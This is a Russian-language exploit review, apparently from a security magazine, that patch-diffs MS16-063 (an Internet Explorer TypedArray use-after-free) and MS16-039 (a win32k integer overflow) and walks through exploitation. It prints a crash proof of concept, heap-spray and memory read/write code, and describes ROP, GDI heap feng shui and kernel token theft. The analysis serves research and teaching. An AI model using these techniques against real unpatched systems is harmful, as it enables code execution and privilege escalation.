В сегодняшнем обзоре мы рассмотрим исследование патчей к Windows. Для примера возьмем патчи MS16-039 и MS16-063, проанализируем их и создадим небольшие proofs of concept на основе найденных уязвимостей.

 

MS16-063: Удаленное выполнение кода

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 27 июня 2016 года
Автор: Theori
CVE: нет

Патч MS16-063 закрывает несколько серьезных дыр в Internet Explorer (некоторые из них ведут к удаленному исполнению кода). Сравним запатченную и уязвимую версии библиотеки jscript9.dll при помощи BinDiff.

Изменения, относящиеся к классу TypedArray, в пропатченной версии библиотеки jscript9.dll
Изменения, относящиеся к классу TypedArray, в пропатченной версии библиотеки jscript9.dll

Найти нужные функции непросто: в файле куча изменений. Но если присмотреться, то можно заметить, что в основном они коснулись функций DirectGetItem и DirectSetItem для разных типов класса TypedArray. Еще есть изменения в функциях GetValue и SetValue класса DataView.

Изменения, связанные с классом DataView
Изменения, связанные с классом DataView

Более подробно про TypedArray ты можешь узнать из документации. Если вкратце, то он поддерживает доступ к «сырым» данным, основанным на ArrayBuffer. Напрямую ArrayBuffer недоступен, и его нельзя изменять, кроме как через интерфейс высокого уровня view. View предоставляет контекст, который включает в себя тип, смещение и количество элементов.

С помощью DataView мы получаем возможность чтения и записи данных в произвольном порядке следования (endianness). А с помощью TypedArray, как и предполагает название, мы можем определить тип данных элементов массива. Типы бывают такие:

  • Int8Array: знаковое 8-битное целое число;
  • Uint8Array: беззнаковое 8-битное целое число;
  • Uint8ClampedArray: сжатое беззнаковое 8-битное целое число (сжато до диапазона от 0 до 255);
  • Int16Array: знаковое 16-битное целое число;
  • Uint16Array: беззнаковое 16-битное целое число;
  • Int32Array: знаковое 32-битное целое число;
  • Uint32Array: беззнаковое 32-битное целое число;
  • Float32Array: 32-битное число с плавающей запятой (float);
  • Float64Array: 64-битное число с плавающей запятой (double).

TypedArray и DataView в некотором смысле схожи. Оба предоставляют доступ или изменяют сырые данные. Итак, что же патч изменил в этих функциях?

В графовом представлении хорошо видно, какой код был добавлен (блоки красного цвета).

Июньская и майская версии библиотеки jscript9.dll
Июньская и майская версии библиотеки jscript9.dll

Перед патчем DirectGetItem и DirectSetItem для каждого типа массива просто проверяли, находится ли index в его пределах, а затем обращались к буферу.

Функция GetDirectItem (майская версия)
Функция GetDirectItem (майская версия)

На псевдокоде это можно описать примерно так:

inline Var DirectGetItem(__in uint32 index)
{
  if (index < GetLength())
  {
    TypeName* typedBuffer = (TypeName*)buffer;
    return JavascriptNumber::ToVar(
      typedBuffer[index], GetScriptContext()
    );
  }
  return GetLibrary()->GetUndefined();
}

Заметь, что здесь нет проверки самого буфера. Буфер мог быть «отсоединен» (detached) до момента обращения или изменения, что приводит к уязвимости типа UAF.

Мы можем отсоединить ArrayBuffer при передаче, используя postMessage. Ниже представлен пример кода для этого (ab — ArrayBuffer).

function detach(ab) {
  postMessage("", "*", [ab]);
}

Код, который был добавлен в патче, проверяет, был ли отсоединен буфер для предотвращения UAF.

Функция GetDirectItem (июньская версия)
Функция GetDirectItem (июньская версия)

Забавный факт — эта уязвимость уже была запатчена (возможно, при рефакторинге) в ChakraCore в соответствующем коммите.

inline Var BaseTypedDirectGetItem(__in uint32 index)
{
  if (this->IsDetachedBuffer()) // 9.4.5.8 IntegerIndexedElementGet
  {
    JavascriptError::ThrowTypeError(GetScriptContext(), JSERR_DetachedTypedArray);
  }

  if (index < GetLength())
  {
    Assert((index + 1)* sizeof(TypeName)+GetByteOffset() <= GetArrayBuffer()->GetByteLength());
    TypeName* typedBuffer = (TypeName*)buffer;
    return JavascriptNumber::ToVar(typedBuffer[index], GetScriptContext());
  }
  return GetLibrary()->GetUndefined();
}

После патча код в jscript9 также ищет отсоединенный буфер в DataView и TypedArray.

 

EXPLOIT

Сделаем для начала небольшой PoC. Для этого понадобится:

  1. Создать TypedArray. Мы можем выбрать любой тип, но воспользуемся Int8Array.
  2. «Отсоединить» ArrayBuffer с помощью Int8Array из шага 1. Для этого освободим буфер.
  3. Обратиться к освобожденному буферу, получив или установив элементы, используя Int8Array.

И получаем креш.

<html>
  <body>
    <script>
      function pwn() {
        var ab = new ArrayBuffer(1000 * 1024);
        var ia = new Int8Array(ab);
        detach(ab);
        setTimeout(main, 50, ia);

        function detach(ab) {
          postMessage("", "*", [ab]);
        }

        function main(ia) {
          ia[100] = 0x41414141;
        }
      }
      setTimeout(pwn, 50);
    </script>
  </body>
</html>
Успешное срабатывание PoC для MS16-063
Успешное срабатывание PoC для MS16-063

В нашем конкретном случае падение происходит в момент записи данных в освобожденную память (то есть ia[100] указывает на освобожденную память). Для успешной эксплуатации мы хотим выделить объекты: мы создадим их и будем контролировать их метаданные. Это даст нам возможность читать и писать произвольную память.

В качестве тестового стенда автор эксплоита использует виртуальную машину, представленную компанией Microsoft для тестирования приложений в различных версиях браузеров, — modern.ie. Была выбрана машина с Windows 7 и Internet Explorer 11. Такая ВМ хороша тем, что заведомо уязвима из-за отсутствия обновления.

Как показано выше, для начала мы выделяем объект ArrayBuffer, который будет передан в Int8Array. Большой ArrayBuffer (около двух мегабайт) нужен потому, что память будет возвращена обратно в ОС после освобождения. А для эксплуатации в этом варианте точный размер не так важен.

var ab = new ArrayBuffer(2123 * 1024);
var ia = new Int8Array(ab);

После того как мы «отсоединим» буфер и стриггерим сборщик памяти (он освободит выделенную память с помощью VirtualFree), мы заполним это пространство достаточно маленькими объектами. Затем мы сможем их изменять.

var ab2 = new ArrayBuffer(0x1337);
function sprayHeap() {
  for (var i = 0; i < 100000; i++) {
    arr[i] = new Uint8Array(ab2);
  }
}

Это вызовет LFH (Low-fragmentation Heap) для размера класса sizeof(Uint8Array). Память будет выделяться через VirtualAlloc.

Как это сработает, можно увидеть в VMMap. Примеры представлены на скриншотах.

VMMap до выделения памяти для ArrayBuffer
VMMap до выделения памяти для ArrayBuffer
После выделения памяти для ArrayBuffer
После выделения памяти для ArrayBuffer
После отсоединения буфера
После отсоединения буфера
После выделения памяти для Uint8Arrays (LFH)
После выделения памяти для Uint8Arrays (LFH)

Теперь нам нужно определить местоположение одного из созданных объектов Uint8Array. Так как длина элементов класса Uint8Arrayравна четырем байтам, то мы ищем длину, указанную для ab2 (0x1337). И после того, как найдем, начинаем увеличивать длину, чтобы определить соответствующий индекс массива в arr.

for (var i = 0; ia[i] != 0x37 || ia[i+1] != 0x13 || ia[i+2] != 0x00 || ia[i+3] != 0x00; i++)
{
  if (ia[i] === undefined)
    return;
}

ia[i]++;
lengthIdx = i;

try {
  for (var i = 0; arr[i].length != 0x1338; i++);
} catch (e) {
  return;
}

mv = arr[i];

Вынесем объект Uint8Array в отдельную переменную mv, чтобы использовать для чтения и записи произвольной памяти. Обрати внимание, что довольно просто получить адреса буфера и vftable (для Uint8Array).

function ub(sb) {
  return (sb < 0) ? sb + 0x100 : sb;
}

var bufaddr = ub(ia[lengthIdx + 4]) | ub(ia[lengthIdx + 4 + 1]) << 8 | ub(ia[lengthIdx + 4 + 2]) << 16 | ub(ia[lengthIdx + 4 + 3]) << 24;
var vtable = ub(ia[lengthIdx - 0x1c]) | ub(ia[lengthIdx - 0x1b]) << 8 | ub(ia[lengthIdx - 0x1a]) << 16 | ub(ia[lengthIdx - 0x19]) << 24;

Добавим дополнительные функции.

function setAddress(addr) {
  ia[lengthIdx + 4] = addr & 0xFF;
  ia[lengthIdx + 4 + 1] = (addr >> 8) & 0xFF;
  ia[lengthIdx + 4 + 2] = (addr >> 16) & 0xFF;
  ia[lengthIdx + 4 + 3] = (addr >> 24) & 0xFF;
}

function readN(addr, n) {
  if (n != 4 && n != 8)
    return 0;
  setAddress(addr);
  var ret = 0;
  for (var i = 0; i < n; i++)
    ret |= (mv[i] << (i * 8))
  return ret;
}

function writeN(addr, val, n) {
  if (n != 2 && n != 4 && n != 8)
    return;
  setAddress(addr);
  for (var i = 0; i < n; i++)
    mv[i] = (val >> (i * 8)) & 0xFF
}

Дальше есть множество путей развития атаки, и все они зависят от окружения. К примеру, если это Windows 7 и Internet Explorer 11, то план атаки следующий.

  1. Вычисляем базовый адрес jscript9 из адресов vftable, которые мы получили.
  2. Конструируем ложную таблицу виртуальных функций в куче. Для этого заменяем указатель на Subarray и выполняем mov esp, ebx; pop ebx; ret. Заметь, ebx — это первый аргумент, который передается в Subarray.
  3. Читаем записи VirtualProtect в таблице импортов.
  4. Конструируем цепочку ROP, которая поместит VirtualProtect в буфер с нашим шелл-кодом.
  5. Перезаписываем адреса vftable из mv(объект Uint8Array) нашим фейком.
  6. Вызываем mv.subarray!

Шелл-код в примере запускает Notepad.exe.

Успешное срабатывание эксплоита для MS16-063
Успешное срабатывание эксплоита для MS16-063

Правда, как видишь, созданный процесс имеет минимальные привилегии, и нужно выйти из песочницы, используя другую уязвимость. Еще в этом эксплоите нет защиты от падения IE и повышения надежности.

Полный исходник опубликован на гитхабе автора.

Чтобы эксплоит сработал в Windows 8.1 и выше, понадобится обойти Control Flow Guard (CFG). Автор обещает позже описать и этот процесс.

 

TARGETS

Протестировано на Win7 x86 с IE 11.

 

SOLUTION

Производитель выпустил исправление.

 

MS16-039: целочисленное переполнение через GDI-объекты

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 14 июня 2016 года
Автор: Nicolas Economou
CVE: CVE-2016-0165

Сравним две версии файла win32kbase.sys: непропатченную 10.0.10586.162 и пропатченную 10.0.10586.212. Мы увидим 26 измененных функций. Среди них автор эксплоита выбрал одну, на его взгляд наиболее интересную, — RGNMEMOBJ::vCreate.

Интересно, что эта функция стала экспортироваться начиная с Windows 10, когда win32k.sys был разделен на три части: win32kbase.sys, win32kfull.sys и урезанную версию win32k.sys.

Изменения в библиотеке win32kbase.sys
Изменения в библиотеке win32kbase.sys

На скриншоте показаны различия между старой и новой версиями функции. На правой стороне заметно, что первый красный блок вызывает функцию UIntAdd. Этот новый блок проверяет, что оригинальная инструкция lea eax,[rdi+1] (первая инструкция в блоке желтого цвета слева) не приведет после выполнения к целочисленному переполнению.

Во втором красном блоке происходит вызов функции UIntMult. Она проверяет, что оригинальная инструкция lea ecx,[rax+rax*2] (третья инструкция в желтом блоке слева) тоже не вызывает целочисленное переполнение после выполнения.

Просмотр изменений в функции RGNMEMOBJ::vCreate
Просмотр изменений в функции RGNMEMOBJ::vCreate

Рассмотрим патч поподробнее. В операции lea ecx,[rax+rax*2] регистр rax хранит данные о количестве структур POINT (точка), которые будут обрабатываться. В данном случае это число умножается на три (1 + 1 * 2). Но в то же время мы видим, что количество структур представлено для 64-битного регистра, хотя результат вычисления заносится в 32-битный регистр!

Теперь мы уверены в том, что это целочисленное переполнение, и единственное, что нам надо знать еще, — это какое число при умножении на три даст нам результат, превышающий четыре гигабайта. Такой результат нельзя будет представить в виде 32-разрядного числа.

Делаем небольшое вычисление:

(4294967296 (2^32) / 3) + 1 = 1431655766 (0x55555556)

И теперь, если умножить этот результат на три, то мы получим:

0x55555556 x 3 = 0x1'0000'0002 = 4 гигабайта + 2 байта

В том же блоке двумя инструкциями ниже (shl ecx,4) можем увидеть, что ранее полученное число 2 сместится влево четыре раза, что аналогично умножению на шестнадцать. В результате значение будет равно 0x20.

Таким образом, функция PALLOCMEM2 планирует выделить 20 байт, которые будут использоваться 0x55555556 структурами POINT.

 

EXPLOIT

В качестве тестовой среды возьмем Windows 10 x64. Для разработки эксплоита была выбрана функция NtGdiPathToRegion в win32kfull.sys. Она вызывает напрямую нужную нам уязвимую функцию.

Код функции NtGdiPathToRegion
Код функции NtGdiPathToRegion

В пространстве пользователя NtGdiPathToRegion доступна через экспортируемую функцию PathToRegion из библиотеки gdi32.dll.

Мы знаем, как устроен баг, и помним, что нам нужно 0x55555556 структур POINT, которые стриггерят уязвимость. Но можно ли получить такое число?

Для этого в эксплоите используется функция PolylineTo. Обратимся к документации за описанием.

BOOL PolylineTo(
  _In_ HDC hdc,
  _In_ const POINT *lppt,
  _In_ DWORD cCount
);

Второй аргумент — это массив структур POINT, а третий — размер массива.

В голову сразу приходит мысль о том, что нам достаточно создать 0x55555556 структур, но это не так. И вот почему.

Код PolylineTo содержит вызов NtGdiPolyPolyDraw.

Код функции PolylineTo
Код функции PolylineTo

NtGdiPolyPolyDraw находится в win32kbase.sys, а это часть ядра Windows. И если мы посмотрим ее код, то увидим проверку числа структур POINT, результат которой передается в качестве аргумента.

Код функции NtGdiPolyPolyDraw
Код функции NtGdiPolyPolyDraw

Максимальное количество, которое может быть передано как параметр, — это 0x4E2000.

Прямого пути получить нужное число у нас нет. Но после некоторых тестов был найден ответ — многочисленные вызовы PolylineTo позволят получить желаемое количество структур POINT.

Результат срабатывания PoC для MS16-039
Результат срабатывания PoC для MS16-039

Вся соль в том, что функция PathToRegion обрабатывает сумму всех структур POINT, а заданный HDC передается в качестве аргумента.

Стриггерить уязвимость проще всего в 64-битных версиях Windows 8, 8.1 и 10. В Windows 7 x64 процесс эксплуатации сложнее.

Рассмотрим уязвимый блок и функцию выделения памяти.

Уязвимый блок и выделение памяти
Уязвимый блок и выделение памяти

Результат умножения на три — это 64-битный регистр, а не 32-битный, как для версий Windows, упомянутых выше. Поэтому единственный способ получить целочисленное переполнение — это использовать предыдущую инструкцию.

Выбранная инструкция для целочисленного переполнения
Выбранная инструкция для целочисленного переполнения

В этом случае количество POINT, заданное в HDC, должно быть больше или равно 4 Гбайт. К сожалению, автору эксплоита во время тестов удалось вызвать только опустошение памяти, а не выделение нужного количества структур.

Так в чем же отличия реализации в Windows 7 от того, как это сделано в последних версиях Windows?

Если мы еще раз посмотрим на предыдущий скриншот, то увидим, что там есть вызов __imp_ExAllocatePoolWithTag вместо PALLOCMEM2. В чем отличия?

Функция PALLOCMEM2 получает 32-битный размер аргумента, а __imp_ExAllocatePoolWithTag — 64-битный. Тип аргумента определяется в результате умножения, который передается в функцию. В данном случае результат будет приведен к беззнаковому целому числу.

Функции, которые в Windows 7 вызывали __imp_ExAllocatePoolWithTag, теперь вызывают PALLOCMEM2. Это значит, что они сильнее подвержены целочисленному переполнению и легче эксплуатируются.

Перейдем к анализу переполнения кучи.

После того как мы вызвали целочисленное переполнение, мы должны понять его последствия. В результате мы получили переполнение кучи при копировании структур POINT с помощью функции bConstructGET (наследника уязвимой функции), где каждая структура копируется при помощи AddEdgeToGet.

Схема копирования POINT
Схема копирования POINT

А переполнение кучи возникает, когда структуры POINT конвертируются и копируются в малое пространство памяти.

Хочется думать, что если было выделено 0x55555556 структур POINT, то и скопировано будет столько. Если бы это было правдой, то мы бы имели огромный memcpy, который смог бы уничтожить большую часть кучи ядра Windows и в итоге привел бы к BSoD.

Этот баг хорош тем, что memcpy можно контролировать при помощи нужного нам числа структур POINT, независимо от общего количества, переданного в уязвимую функцию. Хитрость заключается в том, что структуры POINT копируются, когда координаты не повторяются! То есть если POINT.A - X=30 / Y = 40 и POINT.B - X=30 / Y = 40, то скопируется только одна. Получается, что мы действительно можем контролировать, сколько именно структур будет использовано для переполнения кучи.

Еще одна важная вещь, которую нужно знать перед написанием эксплоита: уязвимая функция выделяет память и создает переполнение кучи. Но когда функция завершает свою работу, выделенная память освобождается, так как она используется временно.

Схема работы уязвимой функции для демонстрации выделения памяти
Схема работы уязвимой функции для демонстрации выделения памяти

Это значит, что, когда память освободится, ядро Windows проверит текущий фрагмент заголовка кучи. И если он окажется поврежден, то мы получим BSoD.

К сожалению, мы контролируем только некоторые значения из тех, что будут перезаписаны, поэтому мы не можем переписать следующий заголовок фрагмента данных его исходным содержимым.

С другой стороны, мы могли бы подумать об операциях alloc/free, таких как atomic, потому что мы не контролируем исполнение до возвращения результатов функции PathToRegion.

Так как же можно успешно эксплуатировать эту уязвимость?

О чем-то похожем автор эксплоита писал четыре года назад в своем блоге. Если вкратце, то нужно знать вот что: если выделенный участок находится в конце четырехкилобайтной страницы памяти, то следующего заголовка участка не будет.

Таким образом, если уязвимая функция может выделять участки в конце страницы памяти, то переполнение будет сделано на следующей странице. Это значит, что данные, которые содержатся на второй странице памяти, будут повреждены. Зато мы избежим BSoD после того, как память освободится.

Теперь нам необходимо создать очень точный heap spray для выделения участка памяти в конце страницы.

Выделение участков на странице памяти
Выделение участков на странице памяти

Когда heap spray требует нескольких взаимодействий, это значит, что участки памяти будут выделены и освобождены многократно. Такая техника называется heap feng shui — «куча по фэншую».

POOL TYPE, который использует уязвимая функция, равен 0x21. По документации Microsoft это означает NonPagedPoolSession + NonPagedPoolExecute. Зная это, ищем какую-нибудь функцию, которая позволит выделить участки памяти в этом типе с наибольшей точностью. Лучшее, что автор эксплоита нашел для heap spray типа 0x21, — это недокументированная функция ZwUserConvertMemHandle из gdi32.dll и user32.dll.

Код функции ZwUserConvertMemHandle
Код функции ZwUserConvertMemHandle

Когда эту функцию вызывают из пространства пользователя, запускается NtUserConvertMemHandle в пространстве ядра и затем вызывает ConvertMemHandle. Обе находятся в win32kfull.sys.

Если же мы посмотрим в код функции ConvertMemHandle, то увидим замечательный распределитель памяти.

Код функции ConvertMemHandle
Код функции ConvertMemHandle

Эти функции получают два параметра: BUFFER и SIZE, а возвращают HANDLE.

Если мы посмотрим на желтые блоки на скриншоте, то увидим, что функция HMAllocObject выделяет память через HMAllocObject. При этом выделяется SIZE + 0x14 байт. Далее наши данные будут скопированы с помощью memcpy в новый участок памяти и останутся там, пока не будут освобождены.

Для освобождения участка памяти, созданного с помощью NtUserConvertMemHandle, у нас есть два последовательных вызова SetClipboardData и EmptyClipboard.

Подведем итог. У нас есть функция, которая позволяет нам выделять и освобождать память в том же месте, где будет переполнение кучи.

Теперь мы знаем, как сделать отличный heap feng shui! Нужно найти что-нибудь интересное, что можно повредить переполнением кучи.

Автор эксплоита обратился к статье Диего Хуареса (Diego Juarez) Abusing GDI for ring0 exploit primitives. Из нее он узнал, что объекты GDI выделяются в POOL TYPE 0x21, а это как раз то, что нужно для эксплуатации уязвимости. В статье Хуареса описано, из чего состоят объекты GDI.

typedef struct
{
  BASEOBJECT64 BaseObject;
  SURFOBJ64 SurfObj;
  [...]
} SURFACE64;

И если поле SURFOBJ64.pvScan0 будет переписано, то мы сможем читать или писать память где угодно, вызывая GetBitmapBits/SetBitmapBits.

Но в нашем случае проблема заключается в том, что мы не контролируем все значения, которые будут перезаписаны в результате переполнения кучи, и SURFOBJ64.pvScan0 переписать не выйдет.

Автор эксплоита решил найти для перезаписи другое свойство объекта GDI и после нескольких тестов нашел поле SURFOBJ64.sizlBitmap. В нем хранится размер структуры, которая определяет ширину и высоту объекта GDI.

На скриншоте представлено содержимое объекта GDI до и после переполнения кучи.

Содержимое GDI-объекта до и после переполнения кучи
Содержимое GDI-объекта до и после переполнения кучи

В результате свойство cx из SURFOBJ64.sizlBitmap установит размер структуры равный 0xFFFFFFFF. Это означает, что теперь у объекта GDI есть следующие параметры: width=0xFFFFFFFF и height=0x01. Получается, что мы можем читать и писать непрерывную память далеко за пределами первоначальных ограничений, установленных для SURFOBJ64.pvScan0. Еще интересно, что, когда объекты GDI меньше 4 Кбайт, данные, на которые указывает SURFOBJ64.pvScan0, прилегают к свойствам объекта.

Теперь у нас есть все для создания эксплоита!

Мы будем использовать 0x55555557 структур POINT, это на одну больше, чем мы рассматривали раньше, поэтому сделаем новые расчеты.

0x55555557 x 3 = 0x1'0000'0005

32-битный результат для него будет 0x5, умножаем на 16.

0x5 << 4 = 0x50

Это означает, что PALLOCMEM2 выделит 50 байт, когда будет вызвана уязвимая функция.

Было решено увеличить размер на 30 байт, потому что малые участки памяти не так предсказуемы. После добавления размера заголовка участка (0x10 байт) heap spray будет выглядеть примерно следующим образом.

Схема heap spray с участками нового размера
Схема heap spray с участками нового размера

Присмотрись к скриншоту: освобожденный участок использует только одна уязвимая функция.

Чтобы решить проблемы выравнивания небольшого участка со свойством SURFOBJ64.sizlBitmap.cx, пришлось использовать дополнительные «мусорные» участки. Получается, что для heap feng shui используются три разных участка памяти.

Установим брейк-пойнт после выделения памяти. Это нам позволит увидеть, как сработал heap spray и какой участок внутри четырехкилобайтной страницы будет использован уязвимой функцией.

Результаты работы heap feng shui
Результаты работы heap feng shui

После небольших вычислений видим, что если добавить 0x60 + 0xbf0 байт к выделенному участку, то рядом с ним получим первый объект GDI (Gh15).

Heap spray использует много объектов GDI, в данном случае 4096. Поэтому нужно пройтись по их массиву и определить, какой из них переписан вызовом функции GetBitmapBits. Когда эта функция может читать за рамками первоначальных границ, это означает, что найден переписанный GDI.

Обратимся к прототипу функции.

HBITMAP CreateBitmap(
  _In_ int nWidth,
  _In_ int nHeight,
  _In_ UINT cPlanes,
  _In_ UINT cBitsPerPel,
  _In_ const VOID *lpvBits
);

Для примера создадим объект GDI:

CreateBitmap (100, 100, 1, 32, lpvBits);

Если мы вызовем GetBitmapBits размером больше, чем 100 x 100 x 4 байт (32 бит), то получим ошибку. Исключение — случаи, когда объект был переписан.

Теперь мы можем читать и писать за пределами объектов GDI. Мы могли бы это использовать, чтобы перезаписать второй объект GDI и таким образом получить произвольную запись.

Посмотрим на наш heap spray. Видим, что второй GDI-объект находится на 0x1000 байт после первого.

Расположение второго GDI-объекта при heap feng shui
Расположение второго GDI-объекта при heap feng shui

Выходит, что если мы можем из первого объекта GDI непрерывно записывать в память, то мы можем изменять свойство SURFOBJ64.pvScan0 второго. Если использовать второй GDI, вызвав GetBitmapBits/SetBitmapBits, то мы сможем читать и записывать где захотим, потому что мы контролируем точный адрес.

Если мы повторим описанные выше шаги, то сможем читать и записывать сколько угодно раз по любому адресу из пространства пользователя и в то же время уклоняться от запуска шелл-кода типа ring-0 в пространстве ядра.

Важный момент: перед перезаписью свойства SURFOBJ64.pvScan0 второго объекта GDI мы должны прочитать все данные между двумя GDI и затем переписать те же данные, вплоть до свойства, которое хотим изменить. С другой стороны, это позволяет легко определить, где расположен второй объект GDI, потому что, когда мы читаем все данные между двумя объектами, мы получаем много информации, включая HANDLE.

Итак, в итоге мы используем переполнения кучи для перезаписи объекта GDI, а затем из него — второй объект GDI рядом.

Когда у нас есть примитив для чтения и записи в ядро, последний шаг уже легкий. Он заключается в том, чтобы украсть токен процесса System и установить в наш процесс (exploit.exe).

Но атака выполняется из Low Integrity Level — это делает невозможным получение токена при помощи вызова NtQuerySystemInformation (SystemInformationClass = SystemModuleInformation), поэтому придется идти длинным путем.

EPROCESS — это связанный список, где каждый элемент — это структура EPROCESS, которая содержит информацию об уникальных выполняющихся процессах, включая TOKEN.

На этот список указывает символ PsInitialSystemProcess, расположенный в ntoskrnl.exe. Таким образом, если мы получим базовый адрес ядра Windows, то сможем получить адрес PsInitialSystemProcess в ядре и затем воспользоваться знаменитым Token kidnapping.

Лучший способ узнать адрес ядра Windows, по мнению автора эксплоита, — это использовать инструкцию sidt из режима пользователя. Эта инструкция возвращает размер и адрес списка прерываний ОС, который расположен в пространстве ядра. Каждая запись содержит указатель на обработчик прерываний в ntoskrnl.exe. Поэтому если мы используем полученный ранее примитив, то сможем читать каждую запись и выяснить адрес обработчика прерываний.

Следующим шагом будет прочитать несколько адресов памяти ntoskrnl.exe, но уже в обратном направлении, пока мы не найдем знакомые MZ. Это будет означать, что мы нашли базовый адрес ntoskrnl.exe. Как только мы получим базовый адрес ядра Windows, нам нужно будет узнать адрес PsInitialSystemProcess в пространстве ядра. К счастью, из пространства пользователя это можно сделать при помощи функции LoadLibrary. Загружаем ntoskrnl.exe и используем GetProcAddress, чтобы получить относительное смещение.

В результате нас ждет столь желанное повышение привилегий.

Успешное срабатывание эксплоита для MS16-039
Успешное срабатывание эксплоита для MS16-039

Вопросы автору можешь задавать в комментариях к его статье.

 

TARGETS

Windows от 7 до 10 x64.

 

SOLUTION

Производитель выпустил исправление.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии